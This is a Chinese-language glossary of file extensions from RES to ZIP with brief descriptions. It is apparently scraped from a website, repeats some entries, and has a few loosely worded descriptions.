RES Microsoft Visual C++資源文件
RFT 可修訂的表單文本(IBM的DCA一部分或文檔內容框架結構一部分)
RGB/SGI Silicon圖形RGB文件
RM RealAudio視頻文件
RMD Microsoft RegMaid文檔
RPT Microsoft Visual Basic Crystal報表文件
RTF Rich Text格式文檔
RUL InstallShield使用的擴展名
RVP Microsoft Scan配置文件(MIME) 擴展名 說明
S 彙編源代碼文件
SAV 遊戲保存文件
SBL Shockwave Flash對象文件
SCC Microsoft Source Safe文件
SCF Windows Explorer命令文件
SCP 撥號網絡腳本文件
SCR Windows屏幕保護;傳真圖像;腳本文件
SCT SAS目錄(DOS);Scitex CT位圖;Microsoft FoxPro表單
SCX Microsoft FoxPro表單文件
SDT SmartDraw模板
SDV 分號分隔的值文件
SDX 由SDX壓縮的MIDI抽樣轉儲標準文件
SEP 標籤圖像文件格式(TIFF)位圖
SFD SoundStage聲音文件數據
SFI Sound Stage聲音文件信息
SFR Sonic Foundry Sample資源
SFX RAR自解壓文件
SGML 標準通用標籤語言
SHG 熱點位圖
SHTML 含有服務器端包括(SSI)的HTML文件
SHW Corel Show演示文稿
SIG 符號文件
SKA PGP秘鑰
SKL Macromedia導演者資源文件
SL PACT的保存布局擴展名
SPL Shockwave Flash對象;DigiTrakker抽樣
SQC 結構化查詢語言(SQR)普通代碼文件
SQR 結構化查詢語言(SQR)程序文件
STR 屏幕保護文件
SWA 在Macromedia導演文件(MP3文件)中的Shockwave聲音文件
SWF Shockwave Flash對象
SYS 系統文件
SYW Yamaha SY系列波形文件 擴展名 說明
TAZ UNIX gzip/tape檔案
TGA Targa位圖
THEME Windows桌面主題文件
THN Graphics WorkShop for Windows速寫
TIF/TIFF 標籤圖像文件格式(TIFF)位圖
TIG 虎形文件,美國政府用於分發地圖
TLB OLE類型庫
TMP Windows臨時文件
TOL Kodak照片增強器
TPL CakeWalk聲音模板文件;DataCAD模板文件
TRM 終端文件
TRN MKS源完整性工程用法日誌文件
TTF TrueType字體文件
TXT ASCⅡ文本格式的聲音數據
TXW Yamaha TX16W波形文件 擴展名 說明
UDF Windows NT/2000唯一性數據庫文件
ULT Ultra Tracker音樂模塊(MOD)文件
URL Internet快捷方式文件
USE MKS源完整性文件
UWF Ultra racker波形文件 擴展名 說明
VBP Microsoft Visual Basic工程文件
VBW Microsoft Visual Basic工作區文件
VBX Microsoft Visual Basic用戶定製控件
VCT/VCX Microsoft FoxPro類庫
VDA Targa位圖
VIR Norton Anti-Virus或其他殺毒產品用於標識被病毒感染的文件
VIV VivoActive Player流視頻文件
VSD Visio繪畫文件(流程圖或圖解)
VSL 下載列表文件(GetRight)
VSS Visio模板文件
VST Targa位圖
VSW Visio工作區文件
VXD Microsoft Windows虛擬設備驅動程序
VBP Microsoft Visual Basic工程文件
VBW Microsoft Visual Basic工作區文件
VBX Microsoft Visual Basic用戶定製控件
VDA Targa位圖
VIR Norton Anti-Virus或其他殺毒產品用於標識被病毒感染的文件
VQF Yamaha Sound-VQ文件(可能出現標準)
VSD Visio繪畫文件(流程圖或圖解)
VSL 下載列表文件(GetRight)
VSS Visio模板文件
VST Targa位圖
VSW Visio工作區文件
VXD Microsoft Windows虛擬設備驅動程序 擴展名 說明
W3L W3Launch文件
WAB M icrosoft Outlook文件
WAD 包含有視頻、玩家水平和其他信息的DOOM遊戲的大文件
WAV Windows波形聲形
WBK Microsoft Word備份文件
WCM WordPerfect宏
WDB Microsoft Works數據庫
WFM Visual dBASE Windows表單
WFN 在CorelDRAW中使用的符號
WIL WinImage文件
WIZ Microsoft Word嚮導
WLL Microsoft Word內插器
WMF Windows元文件
WOW Grave Composer音樂模塊(MOD)文件
WP WordPerfect文檔
WPD WordPerfect文檔或演示
WPF 可字處理文檔
WPG WordPerfect圖形
WPS Microsoft Works文檔
WPT WordPerfect模板
WR1 書寫器文檔
WRK Cakewalk音樂聲音工程文件
WRL 虛擬現實模型
WRZ VRML文件對象 擴展名 說明
X AVS圖像格式
XAR CorelXARA繪畫
XBM MIME「xbitmap」圖像
XI Scream Tracker設備抽樣文件
XLA Microsoft Excel內插器
XLB Microsoft Excel工具條
XLC Microsoft Excel圖表
XLD Microsoft Excel對話框
XLK Microsoft Excel備份
XLL Microsoft Excel內插器文件
XLM Microsoft Excel宏
XLS Microsoft Excel工作單
XLT Microsoft Excel模板
XLV Microsoft Excel VBA模塊
XLW Microsoft Excel工作簿/工作區
XNK Microsoft Exchange快捷方式文件
XPM X位圖格式
XWD X Windows轉儲格式
XWF Yamaha XG Works文件(MIDI序列)
X16 宏媒體擴展(程序擴展),16位
X32 宏媒體擴展(程序擴展),32位 擴展名 說明
YAL Arts Letters剪貼藝術庫 擴展名 說明
Z UNIX gzip文件
ZAP Windows軟件安裝配置文件
ZIP Zip文件
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/153121.html